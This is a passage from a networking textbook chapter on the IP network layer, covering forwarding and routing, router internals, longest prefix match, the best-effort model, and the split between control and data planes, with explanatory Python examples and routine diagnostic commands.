5. The Network Layer and IP Addressing

The data link layer can deliver a frame to a neighbour on the same wire; this chapter is about delivering a packet to a host anywhere on the planet, across networks that have never heard of each other. It covers the machinery that makes that possible — a global address space, a forwarding decision made independently at every hop, a header designed to survive heterogeneity, and the supporting protocols that report failures, hand out addresses, and stretch a 32-bit address space far past its intended life. Everything above this layer assumes it works; almost everything that makes the internet strange — NAT, fragmentation, MTU black holes, IPv6's slow arrival — is a consequence of decisions made here.

<a id="51-network-layer-fundamentals"></a>

5.1 Network Layer Fundamentals

This subchapter establishes what a router actually does with a packet, how the decision is made in nanoseconds, and why the service the network layer promises is deliberately so weak.

Forwarding vs Routing

Theory

These two words are used interchangeably in casual speech, and keeping them apart is the single most clarifying distinction in the whole chapter.

Forwarding is a local action. A packet arrives on an input port; the router looks at its destination address, consults a table, and moves the packet to the correct output port. That is the entire operation. It happens per packet, it involves one device, and on a modern router it completes in nanoseconds to microseconds.

Routing is a global process. It is how the table that forwarding consults comes to exist. Routers exchange reachability information with each other, run an algorithm over what they learn, and each independently computes the best next hop toward every destination. This happens on a timescale of milliseconds to minutes, and it involves the whole network.

The classic analogy is a road trip. Routing is planning the route — studying the map, deciding you will go via Frankfurt rather than Paris. Forwarding is what you do at a single junction: read the sign, take the third exit. The interchange itself has no idea where you started or where you are ultimately going. It only knows that traffic for Frankfurt leaves by exit 3.

This separation is the key to the internet's scalability. No router anywhere holds a plan for a packet's full journey. Each one contributes exactly one hop's worth of decision, and the path emerges from the accumulated, independent choices of a sequence of devices. No router needs to be trusted with, or capable of holding, the whole picture.

Aspect	Forwarding	Routing
Scope	One router, one packet	The entire network
Question answered	"Which port does this packet leave by?"	"What should the table say?"
Timescale	Nanoseconds to microseconds	Milliseconds to minutes
Implemented in	Hardware (ASIC, TCAM)	Software (routing daemon)
Plane	Data plane	Control plane
Frequency	Billions of times per second	On topology change, or on a timer
Typical failure	Packet dropped or misdelivered	Slow convergence, routing loop, black hole

A useful consequence: a router can forward perfectly while routing badly. If the routing protocol has converged on a wrong answer, every forwarding decision executes flawlessly and every packet still ends up in the wrong place. Diagnosing "the network is broken" almost always means deciding which of the two is at fault — and the tools differ accordingly (ip route get interrogates forwarding, show ip ospf neighbor interrogates routing).

Examples

Forwarding: one router, one packet, one decision

        packet dst=203.0.113.9
              |
              v
    +---------------------------+
    |         ROUTER R2         |
    |                           |
    |  in port 0 --> [ lookup ] |     table (built by ROUTING)
    |                  |        |     203.0.113.0/24 -> port 2
    |                  v        |     198.51.100.0/24 -> port 1
    |            out port 2 ----+--> toward destination
    +---------------------------+
      ^ this is FORWARDING: local, per-packet, table-driven


Routing: many routers, exchanging information, building those tables

    R1 <===> R2 <===> R3 <===> R4
      \_______________________/
        "I can reach 203.0.113.0/24 at cost 3"
        "I can reach 198.51.100.0/24 at cost 1"

    Each router independently computes a table.
    The end-to-end PATH is emergent; nobody designed it as a whole.

# Forwarding is a table lookup. Routing is what fills the table.

class Router:
    def __init__(self, name):
        self.name = name
        self.table = {}                  # prefix -> (next_hop, out_port, cost)

    # ---- CONTROL PLANE (routing): slow, runs on topology change ----
    def learn(self, prefix, next_hop, port, cost):
        """A routing protocol delivers reachability information."""
        current = self.table.get(prefix)
        if current is None or cost < current[2]:   # keep the cheaper path
            self.table[prefix] = (next_hop, port, cost)

    # ---- DATA PLANE (forwarding): fast, runs per packet ----
    def forward(self, dst_prefix):
        """One packet, one lookup, one port. No knowledge of the full path."""
        entry = self.table.get(dst_prefix)
        return entry[1] if entry else "DROP (no route)"

r2 = Router("R2")
r2.learn("203.0.113.0/24", "10.0.0.6", port=2, cost=3)   # routing happened once
r2.learn("203.0.113.0/24", "10.0.0.9", port=3, cost=7)   # worse path, ignored

for _ in range(3):                        # forwarding happens billions of times
    print(r2.forward("203.0.113.0/24"))   # 2
print(r2.forward("192.0.2.0/24"))         # DROP (no route)

# Interrogating the two planes separately on Linux.

# FORWARDING: what would this box actually do with one packet, right now?
$ ip route get 203.0.113.9
# 203.0.113.9 via 192.168.1.1 dev eth0 src 192.168.1.20 uid 1000
#              ^^^^^^^^^^^^^^ next hop   ^^^^ output port
# This is the data-plane answer. It says nothing about why.

# ROUTING: where did that entry come from?
$ ip route show
# default via 192.168.1.1 dev eth0 proto dhcp metric 100
#                                  ^^^^^^^^^^ learned via DHCP, not a protocol
$ vtysh -c "show ip ospf neighbor"        # control-plane health
# Neighbor ID  Pri State    Dead Time  Address      Interface
# 10.0.0.2       1 Full/DR    00:00:34  10.0.0.2    eth1:10.0.0.1
#                  ^^^^ adjacency is up, so routes are being exchanged

Key takeaways

• Forwarding is local and per-packet: move this packet from an input port to an output port using the table. Routing is global and periodic: build that table.
• Forwarding runs in hardware at nanosecond scale; routing runs in software at millisecond-to-minute scale.
• The two map onto the data plane and the control plane respectively.
• No router holds an end-to-end plan; the path is emergent from many independent one-hop decisions, which is why the internet scales.
• A router can forward flawlessly while routing incorrectly — correct execution of a wrong table still delivers packets to the wrong place.
• Diagnosis differs: ip route get tests forwarding, routing-protocol state (show ip ospf neighbor, BGP session state) tests routing.

🧪 Practice

1. Classify each of these as forwarding or routing: (a) a TCAM lookup on an incoming packet, (b) an OSPF Hello being sent, (c) decrementing TTL, (d) recomputing shortest paths after a link fails.
2. A network has 5,000 routers. Explain how a packet can traverse 12 of them when none of the 12 knows the complete path, and state what each one does know.
3. Interview-style: Traffic to one destination is being black-holed, but the router's CPU is idle and its interfaces show no errors. Is this more likely a forwarding problem or a routing problem, and how would you confirm? (Hint: an idle CPU suggests the fast path is happily doing exactly what it was told — so question what it was told.)

Router Architecture and Forwarding Tables

Theory

To understand why routers are built the way they are, start with the workload. A 100 Gb/s interface carrying minimum-size 64-byte packets must handle about 148.8 million packets per second. That leaves roughly 6.7 nanoseconds per packet — around 20 clock cycles on a 3 GHz core. A general-purpose CPU running an operating system cannot do a table lookup, a header rewrite, and a queue enqueue in 20 cycles. So routers are not general-purpose computers that happen to forward; they are special-purpose forwarding machines with a computer attached.

A router has four architectural components:

Input ports. Terminate the physical and link layers, then perform the lookup: extract the destination address, consult the forwarding table, and determine the output port. Critically, the lookup happens here, in a local copy of the table, so that many input ports can look up in parallel.

Switching fabric. Physically moves the packet from input port to output port. Three classic designs:

Fabric	How it works	Throughput limit
Memory	CPU copies packet in, then out	Halved by two bus crossings; oldest and slowest
Bus	Shared bus carries packets across	One packet at a time; bus speed is the ceiling
Crossbar	Grid of switches; many pairs connected at once	Near line rate, non-blocking with good scheduling

Output ports. Buffer packets, run queueing and scheduling disciplines, and transmit onto the link.

Routing processor. A normal CPU running a normal OS. It executes routing protocols, builds the RIB, manages the device, and handles the small trickle of packets the fast path cannot deal with. It is not in the path of ordinary traffic.

That last point leads to the most important practical distinction in router internals: RIB versus FIB.

The RIB (Routing Information Base) is the control plane's database. It holds every route learned from every source — OSPF, BGP, static, connected — including routes that lost. It is rich, large, annotated with attributes, and lives in the routing processor's normal memory.

The FIB (Forwarding Information Base) is the data plane's lookup structure. It holds only the winning route for each prefix, stripped of everything not needed to forward, and is optimised purely for lookup speed. It is pushed down into hardware — typically TCAM (Ternary Content-Addressable Memory), which compares a search key against every stored entry simultaneously and returns a match in a single clock cycle.

TCAM is why routers are expensive. It is fast because it is massively parallel, and it is power-hungry and costly for exactly the same reason. A router's FIB capacity — how many prefixes its TCAM can hold — is a hard physical limit, and exhausting it is a real operational event: routers whose TCAM filled up during internet routing table growth past 512K and then 768K prefixes began punting traffic to software and collapsing.

	RIB	FIB
Owner	Control plane	Data plane
Contents	All routes, including losers	Best route only
Purpose	Decide what is best	Look it up fast
Storage	DRAM, software structures	TCAM / specialised ASIC memory
Size	Can be large and rich	Hard hardware limit
Command	show ip route	show ip cef / show platform fib

Queueing appears at both ends. Output queueing is the normal case: several inputs want the same output, so packets wait. Input queueing creates a subtler pathology called head-of-line (HOL) blocking — the packet at the front of an input queue is waiting for a busy output, and it blocks packets behind it whose outputs are free. Modern fabrics avoid this with virtual output queues (VOQs): a separate input queue per output port, so a blocked destination stalls only its own queue.

Examples

Router architecture — where the packet actually goes

                        +-----------------------+
                        |   ROUTING PROCESSOR   |   <- control plane
                        |  OSPF/BGP, builds RIB |      (slow path, a real CPU)
                        +-----------+-----------+
                                    | pushes FIB down
        ..........................  v  ..........................
        :                    +-------------+                    :
   ---->| IN 0 | lookup |--->|             |--->| queue | OUT 0 |---->
        :        (FIB)       |  SWITCHING  |                    :
   ---->| IN 1 | lookup |--->|   FABRIC    |--->| queue | OUT 1 |---->
        :        (FIB)       |  (crossbar) |                    :
   ---->| IN 2 | lookup |--->|             |--->| queue | OUT 2 |---->
        :...................+-------------+.......................:
                         DATA PLANE (fast path, ASIC/TCAM)

  Note: each input port holds its OWN copy of the FIB, so lookups
  run in parallel. The routing processor is NOT in this path.


Head-of-line blocking (input queueing, no VOQ)

  IN 0:  [ ->OUT1 ][ ->OUT2 ][ ->OUT2 ]
            ^ front packet wants OUT1, which is BUSY
              the two OUT2 packets behind it are stuck,
              even though OUT2 is completely idle.

  With virtual output queues:

  IN 0:  VOQ->OUT0: [ ]
         VOQ->OUT1: [ ->OUT1 ]      <- blocked, but only this queue
         VOQ->OUT2: [ ->OUT2 ][ ->OUT2 ]  <- free to go now

# Why forwarding must be hardware: the nanosecond budget.

def packet_budget(link_gbps, frame_bytes=64):
    preamble_and_gap = 20                        # 8 B preamble + 12 B IFG
    bits_on_wire = (frame_bytes + preamble_and_gap) * 8
    pps = (link_gbps * 1e9) / bits_on_wire       # packets per second
    ns = 1e9 / pps                               # nanoseconds available each
    cycles = ns * 3.0                            # at a 3 GHz clock
    return pps, ns, cycles

for gbps in (1, 10, 100, 400):
    pps, ns, cycles = packet_budget(gbps)
    print(f"{gbps:>4} Gb/s: {pps/1e6:>8.2f} Mpps  {ns:>7.2f} ns/pkt  ~{cycles:>5.1f} cycles")
#    1 Gb/s:     1.49 Mpps   672.00 ns/pkt  ~2016.0 cycles   <- software is fine
#   10 Gb/s:    14.88 Mpps    67.20 ns/pkt  ~ 201.6 cycles   <- getting tight
#  100 Gb/s:   148.81 Mpps     6.72 ns/pkt  ~  20.2 cycles   <- hardware only
#  400 Gb/s:   595.24 Mpps     1.68 ns/pkt  ~   5.0 cycles   <- ASIC, no debate
# A single DRAM access costs ~60-100 ns. At 100 Gb/s you cannot afford ONE.

# RIB vs FIB: many candidates in, one winner out.

ADMIN_DISTANCE = {"connected": 0, "static": 1, "ebgp": 20, "ospf": 110, "rip": 120}

rib = [   # every route the control plane learned, winners and losers alike
    {"prefix": "10.1.0.0/16", "src": "ospf",      "nh": "10.0.0.2", "metric": 20},
    {"prefix": "10.1.0.0/16", "src": "rip",       "nh": "10.0.0.3", "metric": 3},
    {"prefix": "10.1.0.0/16", "src": "static",    "nh": "10.0.0.4", "metric": 0},
    {"prefix": "192.168.5.0/24", "src": "connected", "nh": "direct", "metric": 0},
]

def build_fib(rib):
    best = {}
    for r in rib:
        ad = ADMIN_DISTANCE[r["src"]]
        key = r["prefix"]
        # Lower administrative distance wins first; metric breaks ties.
        if key not in best or (ad, r["metric"]) < best[key][0]:
            best[key] = ((ad, r["metric"]), r)
    # The FIB keeps ONLY what forwarding needs: prefix -> next hop.
    return {p: v[1]["nh"] for p, v in best.items()}

print("RIB entries:", len(rib))
print("FIB entries:", len(build_fib(rib)))
for prefix, nh in build_fib(rib).items():
    print(f"  {prefix:<18} -> {nh}")
# RIB entries: 4
# FIB entries: 2
#   10.1.0.0/16        -> 10.0.0.4      <- static (AD 1) beat OSPF and RIP
#   192.168.5.0/24     -> direct

# Seeing both tables on real gear.

$ show ip route 10.1.0.0            # RIB: the control plane's view, with reasons
# Routing entry for 10.1.0.0/16
#   Known via "static", distance 1, metric 0
#   Routing Descriptor Blocks:
#   * 10.0.0.4, via GigabitEthernet0/1

$ show ip cef 10.1.0.0              # FIB: what the hardware will actually do
# 10.1.0.0/16
#   nexthop 10.0.0.4 GigabitEthernet0/1
#   (no protocol, no metric, no alternatives — forwarding needs none of it)

$ show platform hardware fed switch active fwd-asic resource tcam utilization
# Table          Max     Used    %Used
# Unicast IPv4   32768   31204    95%
#                                 ^^^ approaching FIB exhaustion: routes will
#                                 start being punted to software, and forwarding
#                                 performance falls off a cliff

Key takeaways

• At 100 Gb/s a router has about 6.7 ns per packet — roughly 20 clock cycles — so forwarding must be hardware, not software.
• Four components: input ports (lookup), switching fabric (movement), output ports (queue and transmit), routing processor (protocols and management, off the fast path).
• Fabrics: memory (slowest), bus (one packet at a time), crossbar (parallel, near line rate).
• The RIB holds all learned routes with their attributes; the FIB holds only the winning next hop, optimised for lookup and pushed into TCAM.
• TCAM matches all entries in parallel in one cycle, which makes it fast, expensive, and finite — FIB exhaustion is a real operational failure.
• Head-of-line blocking afflicts input queueing; virtual output queues solve it by keeping a separate queue per output port.
• Route selection into the FIB uses administrative distance first, then metric.

🧪 Practice

1. Compute the per-packet time budget for a 40 Gb/s interface carrying 64-byte frames, and state whether a single 80 ns DRAM access fits.
2. A router shows 900,000 routes in show ip route but its datasheet lists a 512K IPv4 FIB. Explain what will happen and why the two numbers are allowed to differ at all.
3. Explain head-of-line blocking with a three-port example, then show how virtual output queues remove it.
4. Interview-style: Why do routers keep a separate RIB and FIB rather than just forwarding straight out of the routing table? (Hint: think about what a lookup structure must be optimised for versus what a decision-making database must contain.)

Longest Prefix Match

Theory

A forwarding table does not contain one entry per destination host — it could not, since there are billions of them. It contains entries per prefix: a block of addresses described by an address and a length, such as 10.1.0.0/16. The consequence is that a single destination address can match several entries at once, and the router needs a rule to pick one.

The rule is longest prefix match (LPM): among all matching entries, choose the one with the most specific prefix — the largest number of leading bits fixed.

Why this rule and not, say, lowest cost? Because specificity is how you express exceptions. A general statement covers a broad range; a longer prefix carves out a subset and says something different about it. Consider a postal analogy: "all mail for Germany goes in the Germany bag" is a /8-style statement. "But mail for Berlin 10115 goes in the express bag" is a /24-style exception. The more specific instruction must win, or you could never express the exception at all.

This single rule delivers three properties the internet depends on:

Aggregation. One entry can cover millions of addresses, so tables stay finite.

Exceptions without rewriting. Add a more specific route and it automatically takes precedence over the general one. Nothing else has to change.

A universal fallback. The default route 0.0.0.0/0 has prefix length zero, so it matches everything and loses to everything. It is the "if nothing else matched" entry, which is exactly the semantics you want, and it falls straight out of the LPM rule rather than being a special case.

Implementation matters. A linear scan of 950,000 internet routes per packet is obviously impossible. Real routers use:

• TCAM — stores prefixes with "don't care" bits and compares all entries simultaneously. Entries are ordered so the longest match is returned first. One clock cycle, regardless of table size.
• Tries (radix/Patricia trees) — walk the destination address bit by bit, remembering the last prefix seen; the deepest one found is the longest match. Used in software forwarding (the Linux kernel uses an LC-trie).
• Compressed/multibit tries — consume several bits per step to cut memory accesses.

One subtlety trips people up constantly: LPM is applied before metric or administrative distance, not after. Those only break ties among routes to the same prefix. A /24 learned by RIP beats a /16 learned by OSPF for an address inside the /24, even though RIP is the less trusted protocol — because specificity is decided first. This is also why BGP hijacking by more-specific announcement works: announce a /24 covering someone's traffic and it wins globally over their /16, regardless of any policy that would have preferred the legitimate route.

Examples

One address, four matching entries — only one wins

  Destination: 192.168.1.130

  FIB entry              Binary of the fixed part               Match?  Length
  ---------------------- -------------------------------------- ------  ------
  0.0.0.0/0              (nothing fixed)                         yes       0
  192.168.0.0/16         11000000 10101000                       yes      16
  192.168.1.0/24         11000000 10101000 00000001              yes      24
  192.168.1.128/25       11000000 10101000 00000001 1            yes      25  <== WINNER
  192.168.1.0/26         11000000 10101000 00000001 00           NO       --
                                                          ^
                          .130 = 10000010, so bit 25 is 1, not 0

  Longest match = /25 -> use that entry's next hop.


The default route is not a special case; it just always loses

     /0  matches everything, 0 bits fixed  -> last resort
    /16  matches 65,536 addresses          -> beats /0
    /24  matches 256 addresses             -> beats /16
    /32  matches exactly one host          -> beats everything

import ipaddress

FIB = [
    ("0.0.0.0/0",        "isp-gw",    "default route, always the fallback"),
    ("10.0.0.0/8",       "core-r1",   "the whole private block"),
    ("10.1.0.0/16",      "region-r4", "one region, more specific than /8"),
    ("10.1.5.0/24",      "site-r9",   "one site, more specific still"),
    ("10.1.5.77/32",     "server-fw", "a single host exception"),
]

def longest_prefix_match(dst):
    addr = ipaddress.ip_address(dst)
    best = None
    for cidr, nh, note in FIB:
        net = ipaddress.ip_network(cidr)
        if addr in net:
            # Keep the candidate with the greatest prefix length.
            if best is None or net.prefixlen > best[0].prefixlen:
                best = (net, nh, note)
    return best

for dst in ["10.1.5.77", "10.1.5.200", "10.1.9.4", "10.7.0.1", "203.0.113.5"]:
    net, nh, note = longest_prefix_match(dst)
    print(f"{dst:<14} -> /{net.prefixlen:<2} via {nh:<10}  ({note})")
# 10.1.5.77      -> /32 via server-fw   (a single host exception)
# 10.1.5.200     -> /24 via site-r9     (one site, more specific still)
# 10.1.9.4       -> /16 via region-r4   (one region, more specific than /8)
# 10.7.0.1       -> /8  via core-r1     (the whole private block)
# 203.0.113.5    -> /0  via isp-gw      (default route, always the fallback)

# A binary trie: how software does LPM without scanning every entry.
# Walk the address bit by bit; remember the deepest prefix passed through.

class TrieNode:
    __slots__ = ("child", "next_hop")
    def __init__(self):
        self.child = [None, None]        # child[0] and child[1]
        self.next_hop = None             # set only if a prefix ends here

class Trie:
    def __init__(self):
        self.root = TrieNode()

    def insert(self, prefix_bits, next_hop):
        node = self.root
        for b in prefix_bits:            # descend, creating nodes as needed
            i = int(b)
            if node.child[i] is None:
                node.child[i] = TrieNode()
            node = node.child[i]
        node.next_hop = next_hop         # mark the end of this prefix

    def lookup(self, addr_bits):
        node, best = self.root, self.root.next_hop
        for b in addr_bits:
            node = node.child[int(b)]
            if node is None:             # no deeper prefix exists
                break
            if node.next_hop is not None:
                best = node.next_hop     # a longer match — overwrite
        return best

t = Trie()
t.insert("",          "default")         # 0.0.0.0/0 lives at the root
t.insert("1010",      "A")               # a /4
t.insert("101011",    "B")               # a /6, more specific
t.insert("10101100",  "C")               # a /8, most specific

for bits in ["10100000", "10101100", "10101000", "01110000"]:
    print(f"{bits} -> {t.lookup(bits)}")
# 10100000 -> A          (matched the /4 only)
# 10101100 -> C          (walked all the way to the /8)
# 10101000 -> A          (diverged before the /6)
# 01110000 -> default    (never matched anything)
# Cost is O(address length), NOT O(table size) — 32 steps for any IPv4 table.

# Confirming LPM on a live box.

$ ip route show
# default via 192.168.1.1 dev eth0
# 10.0.0.0/8 via 192.168.1.254 dev eth0
# 10.1.5.0/24 via 192.168.1.99 dev eth0

$ ip route get 10.1.5.42
# 10.1.5.42 via 192.168.1.99 dev eth0 src 192.168.1.20
#            ^^^^^^^^^^^^^^^ the /24 won, not the /8 and not the default
$ ip route get 10.9.9.9
# 10.9.9.9 via 192.168.1.254 dev eth0 src 192.168.1.20
#           ^^^^^^^^^^^^^^^^ outside the /24, so the /8 wins

Key takeaways

• A destination address can match many forwarding entries; longest prefix match selects the most specific one.
• Specificity is how exceptions are expressed — a longer prefix overrides a shorter one without touching it.
• The default route 0.0.0.0/0 is not a special case: it has length 0, so it matches everything and loses to everything.
• LPM is resolved before administrative distance or metric; those only break ties within the same prefix.
• A more specific announcement always wins, which is the mechanism behind BGP prefix hijacking.
• Implementations: TCAM (parallel, one cycle, expensive), tries (O(address length), independent of table size), multibit tries for fewer memory accesses.
• Lookup cost does not grow with table size in either hardware or trie implementations — this is what lets the table reach a million routes.

🧪 Practice

1. Given 0.0.0.0/0, 172.16.0.0/12, 172.16.8.0/21, and 172.16.9.0/24, determine the winning entry for 172.16.9.50, 172.16.12.1, and 172.20.0.9.
2. Explain why a /24 learned by RIP is preferred over a covering /16 learned by OSPF, even though OSPF has a far lower administrative distance.
3. Write out the trie walk for destination bits 11001010 against prefixes 1/1, 110/3, and 11001/5, naming the winner at each step.
4. Interview-style: An attacker announces a /24 inside a victim's /16 via BGP and traffic worldwide diverts to them. Which forwarding rule makes this work, and why can routing policy alone not prevent it? (Hint: consider at what stage specificity is evaluated relative to any policy comparison.)

Best-Effort Delivery Model

Theory

The service IP offers is deliberately, almost aggressively minimal. It is called best-effort delivery, and the honest description is that IP promises to try. That is all. Specifically, IP does not guarantee:

• Delivery — packets may be dropped, and usually are, whenever a queue fills.
• Ordering — packets may arrive in a different order than sent.
• Timing — delay is unbounded and varies from packet to packet.
• Integrity of data — the IPv4 header checksum covers the header only; payload corruption is not IP's problem (and IPv6 removed even the header checksum).
• Non-duplication — a packet may be delivered more than once.

Someone meeting this for the first time reasonably asks: why would anyone design a network that guarantees nothing? The answer is one of the most consequential design arguments in computing, the end-to-end principle.

Any guarantee the network provides must be implemented in every router. That makes routers complex, stateful, and slow, and it prices out heterogeneity — every device on every path must support the feature. Worse, the guarantee is usually still insufficient: even if every hop delivers reliably, the receiving application can crash after the last router succeeded. So the endpoints must check anyway. If the endpoints must implement the guarantee regardless, implementing it in the network as well is mostly duplicated cost.

So IP pushes all of it to the edges. The network core stays stateless, simple and fast, and the endpoints add whatever they need:

Requirement	Who provides it
Reliable, ordered byte stream	TCP (or QUIC), at the endpoints
Unreliable datagrams, minimal overhead	UDP — accepts IP's model as-is
Payload integrity	TCP/UDP checksum, TLS AEAD, application checksums
Timing	Application-level buffering, jitter buffers
Encryption and authentication	TLS, at the endpoints

The payoffs are enormous and worth naming individually.

Heterogeneity. IP runs over Ethernet, Wi-Fi, fibre, DSL, satellite, and carrier pigeon (RFC 1149, only half in jest). A link only has to move a packet; it need not implement any guarantee.

Scalability. No per-flow state in the core means a router's memory does not grow with the number of conversations passing through it.

Innovation without permission. TCP can be replaced by QUIC, and congestion control by BBR, by changing software on two endpoints. No router upgrade, no standards negotiation with every network operator on the path. This is precisely what "the internet is a dumb network" means, and it is why the internet outcompeted the intelligent, connection-oriented networks designed by telephone companies.

The costs are real too. Applications must handle loss, which is genuinely difficult. Quality of service requires additional machinery bolted on afterwards (Chapter 12). And a stateless core cannot easily distinguish wanted traffic from attack traffic, which is one reason DDoS is so hard to stop near the source.

A crucial clarification: best-effort does not mean careless. Routers work hard to deliver — they retry ARP, choose good paths, and buffer aggressively. "Best effort" means there is no promise and no feedback contract, not that delivery is treated casually.

Examples

Where the guarantees live

  APPLICATION   "I need my bytes, in order, intact."
       |
  TRANSPORT     TCP: sequence numbers, ACKs, retransmission,
       |             reordering, checksum, flow + congestion control
       |             ^^^^^^^^ ALL OF THIS IS AT THE ENDPOINTS ^^^^^^^^
  NETWORK       IP: "I will try to move this packet one hop closer."
       |            no ACK, no retry, no ordering, no state
  LINK          Ethernet: "I will try to move this frame across one wire."


  A packet's actual journey under best effort:

    sent:      [1][2][3][4][5]
                        |
                        v  queue full at R3 -> packet 3 DROPPED
    arrived:   [1][2][5][4]        <- reordered (different paths) and lossy
                        ^
    TCP at the receiver: buffers 4 and 5, notices 3 is missing,
    triggers retransmission, delivers 1,2,3,4,5 in order to the app.
    THE APPLICATION NEVER SEES ANY OF THIS.

import random

def best_effort_link(packets, loss=0.1, reorder=0.15, duplicate=0.03, seed=7):
    """Simulate exactly what IP does and does not promise."""
    random.seed(seed)
    out = []
    for p in packets:
        if random.random() < loss:
            continue                          # no delivery guarantee
        out.append(p)
        if random.random() < duplicate:
            out.append(p)                     # no non-duplication guarantee
    for i in range(len(out) - 1):
        if random.random() < reorder:
            out[i], out[i + 1] = out[i + 1], out[i]   # no ordering guarantee
    return out

sent = list(range(1, 11))
received = best_effort_link(sent)
print("sent:    ", sent)
print("received:", received)
# sent:     [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
# received: [1, 3, 2, 4, 6, 5, 7, 9, 9, 10]
#              ^^^^ reordered      ^^ lost 8   ^^^^ duplicated 9

def tcp_receiver(stream, expected_total):
    """The endpoint reconstructs what the network refused to guarantee."""
    buf, delivered, want = {}, [], 1
    for p in stream:
        if p < want:
            continue                          # duplicate — discard silently
        buf[p] = True
        while want in buf:                    # deliver in order, gap-free
            delivered.append(want)
            want += 1
    missing = [n for n in range(1, expected_total + 1) if n not in delivered]
    return delivered, missing

delivered, missing = tcp_receiver(received, 10)
print("delivered in order:", delivered)
print("must retransmit:   ", missing)
# delivered in order: [1, 2, 3, 4, 5, 6, 7]
# must retransmit:    [8, 9, 10]

# Best effort, measured. Loss and jitter are normal, not exceptional.

$ ping -c 100 -i 0.2 203.0.113.9 | tail -3
# 100 packets transmitted, 97 received, 3% packet loss, time 19912ms
#                                       ^^^^^^^^^^^^^^ IP kept no promise
# rtt min/avg/max/mdev = 11.204/18.773/94.331/12.006 ms
#                                      ^^^^^^ 8x the minimum: unbounded delay

$ mtr -rwc 50 203.0.113.9
# HOST                 Loss%   Snt   Last   Avg  Best  Wrst StDev
# 1. 192.168.1.1        0.0%    50    1.1   1.2   0.9   3.4   0.3
# 2. 10.20.0.1          0.0%    50    9.8  10.4   9.1  22.7   2.1
# 3. 62.115.120.1       2.0%    50   11.4  13.9  10.8  71.2   9.9
#                       ^^^^ loss appears mid-path and the network says nothing
#                            about it — no notification, no retry, no apology

Key takeaways

• IP promises no delivery, no ordering, no timing bound, no payload integrity, and no protection against duplication — only a genuine attempt.
• This follows from the end-to-end principle: guarantees implemented in the network must still be re-implemented at the endpoints, so put them only at the endpoints.
• The benefits are heterogeneity (any link technology works), scalability (no per-flow state in the core), and innovation without coordination (QUIC and BBR were deployed by changing endpoints alone).
• Applications get guarantees by choosing a transport: TCP/QUIC for reliability and ordering, UDP when IP's model is already what is wanted.
• "Best effort" means no contract, not carelessness — routers try hard, they simply never promise or report.
• The costs: application complexity, QoS as an add-on, and a core that cannot easily distinguish attack traffic from legitimate traffic.

🧪 Practice

1. List five guarantees IP does not make and name, for each, the specific mechanism in TCP that supplies it.
2. A video call tolerates loss but not delay, so it uses UDP. Explain why retransmitting a lost audio packet would make the call worse rather than better.
3. Explain how QUIC was deployed globally without a single router being upgraded, and tie the answer to the end-to-end principle.
4. Interview-style: If reliable delivery is what almost every application wants, why is it not built into IP? (Hint: ask what still has to happen at the receiver after the last router has successfully handed the packet over.)

Control Plane vs Data Plane

Theory

The forwarding-versus-routing distinction described a pair of activities. The control plane / data plane split describes the architecture that separates them — different software, different hardware, different performance envelopes, and increasingly, different physical boxes.

The data plane (or forwarding plane, or fast path) is everything that touches an individual packet: parse the header, look up the destination, decrement TTL, recompute the checksum, rewrite the layer 2 header, enqueue on an output port. It is implemented in ASICs, NPUs, or optimised software pipelines (DPDK, XDP, eBPF). It is measured in packets per second and nanoseconds of latency, and it must contain no surprises — no loops of unbounded length, no memory allocation, no locking.

The control plane is everything that decides what the data plane should do: routing protocols, the RIB, ARP and NDP resolution, management interfaces (SSH, SNMP, NETCONF), and policy. It runs as ordinary software on an ordinary CPU, is measured in convergence time, and is allowed to be complex.

A third plane is usually named separately: the management plane — configuration, telemetry, logging, and monitoring. Some texts fold it into the control plane; keeping it distinct is useful because it has different security requirements and often a different physical network (out-of-band management).

	Data plane	Control plane	Management plane
Job	Move packets	Decide where packets go	Configure and observe
Runs on	ASIC / NPU / TCAM	Router CPU	Router CPU
Timescale	Nanoseconds	Milliseconds to minutes	Human timescale
Metric	Packets per second	Convergence time	Availability of access
Examples	LPM lookup, TTL decrement	OSPF, BGP, ARP	SSH, SNMP, NETCONF, syslog
If it fails	Traffic stops immediately	Traffic continues on the old table, then rots	You lose visibility and control

That last row deserves emphasis because it is a genuinely useful operational insight. Because the FIB is already programmed into hardware, a router whose control plane crashes keeps forwarding traffic using the last table it was given. Traffic flows fine — until the topology changes and nothing updates, at which point you get black holes. This property is exploited deliberately by Graceful Restart / Non-Stop Forwarding, which lets a router reboot its routing daemon while the data plane carries on undisturbed.

The split also creates a specific attack surface. Most packets are handled entirely in hardware and cost the CPU nothing. But some must be punted to the control plane: packets addressed to the router itself, packets with IP options, packets whose TTL expires (traceroute depends on this), packets needing ARP resolution, and packets with no FIB entry. An attacker who sends a flood of TTL=1 packets or packets to unresolved addresses can saturate the router's modest CPU without coming anywhere near saturating its links. The defence is CoPP (Control Plane Policing) — rate limits on each class of punted traffic, so control-plane work is bounded no matter what arrives.

Finally, the split is what SDN takes to its conclusion. In a traditional router the two planes are in the same chassis, and every device computes its own view of the network. SDN physically separates them: a logically centralised controller computes forwarding state with global knowledge and programs many simple switches over an open protocol such as OpenFlow or P4Runtime. The distinction stops being an internal implementation detail and becomes the system's primary architectural boundary. Chapter 13 develops this.

Examples

Traditional router: both planes in one chassis

  +-------------------------------------------------+
  |  CONTROL PLANE  (CPU, Linux/IOS, software)       |
  |    BGP  OSPF  ARP  SSH  ->  RIB                  |
  +--------------------+----------------------------+
                       | program FIB (rare, slow)
  +--------------------v----------------------------+
  |  DATA PLANE  (ASIC + TCAM, no OS in the path)    |
  |    parse -> LPM lookup -> TTL-- -> rewrite -> tx |
  +-------------------------------------------------+
     ^ 99.999% of packets never touch the CPU at all


SDN: the same split, but across the network

              +-----------------------------+
              |     SDN CONTROLLER          |  control plane,
              |  global view, computes all  |  logically centralised
              +--+--------+--------+--------+
                 | OpenFlow / P4Runtime
          +------v-+  +---v----+  +--v-----+
          | switch |  | switch |  | switch |   data plane only
          +--------+  +--------+  +--------+


Punt paths: the few packets that DO reach the CPU

    packet arrives
         |
         +-- dst is another host, FIB hit  -----> HARDWARE, CPU untouched
         +-- dst is the router itself  ----------> PUNT (SSH, BGP, ping to it)
         +-- TTL reaches 0  ---------------------> PUNT (must generate ICMP)
         +-- no ARP entry for next hop  ---------> PUNT (must send ARP)
         +-- IP options present  ----------------> PUNT (slow path parsing)
         +-- no FIB entry  ----------------------> PUNT (must send ICMP unreach)
                                                     ^^^^ each punt is CPU work
                                                     an attacker can trigger

# Why control-plane policing exists: a tiny attack, a saturated CPU.

LINK_GBPS      = 10
PACKET_BYTES   = 64
CPU_PUNT_PPS   = 20_000          # a router CPU handles ~20k punted pkt/s

